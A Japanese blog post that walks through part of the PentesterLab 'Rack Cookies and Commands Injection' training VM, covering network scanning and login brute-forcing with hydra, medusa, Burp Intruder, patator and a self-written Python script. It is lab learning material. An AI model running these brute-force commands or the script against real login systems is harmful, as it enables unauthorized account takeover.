Pentester Lab: Rack Cookies and Commands Injection Walkthrough
難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた
kakyouim.hatenablog.com
を参考にしています。
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.32ですね。nmap -p- -sV -sT -A 192.168.56.32
sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですねnikto -h 192.168.56.32
特に有益な情報はないですねowasp zap
自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね
調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます
Login Brute Force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
Location
ヘッダーでリダイレクトしている様子。
hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
ツールの限界を知るのって大事ですね
medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
次に、medusa先輩を使ってみる
どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
ツールによっていろいろ違うんですねBurp Intruder
次にBurp Suiteの機能の一つであるIntruderを使ってみます
wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txt
を使ってみます
どれも成功してません……
BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです
自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようですpython patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
これで成功しました!
なお、標準でpatator
コマンドは入っているのですが、なんか動かなかったので新しく入れなおしました
ちなみにignore
オプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patator
オプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
こんな感じでtest
だとわかりますね!
ちなみに、公式ではRubyでブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。
なお、公式の方では、Location
ヘッダーに/login
以外があるかどうかで判別していましたが、pythonの方ではSet-Cookie
ヘッダーがあるかないかで判別するようにしました
import urllib.request import urllib.parse from bs4 import BeautifulSoup import sys import subprocess user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0]) pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0]) print("Count file line:user",user_count," pass",pass_count) count = 0 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor()) url = 'http://192.168.56.32/login' data = { 'login': 'foo', 'password': 'deadbeef', } headers = { } fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore') for user in fp_user.readlines(): fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore') for password in fp_pass.readlines(): data["login"] = user.rstrip('\n') data["password"] = password.rstrip('\n') #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n')) count = count + 1 if((count % 300)==0): print("attack count ",count," percent:",100*count/(user_count*pass_count),"%") req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers) res = opener.open(req) body = res.read() if res.info()['Set-Cookie'] != None: print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n')) #print(BeautifulSoup(body, 'html.parser')) sys.exit() res.close()
これを実行すると、
test
で成功しました!わーい!
これ以後は公式の解説通りなのでそっちを参照してください
最後に
ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。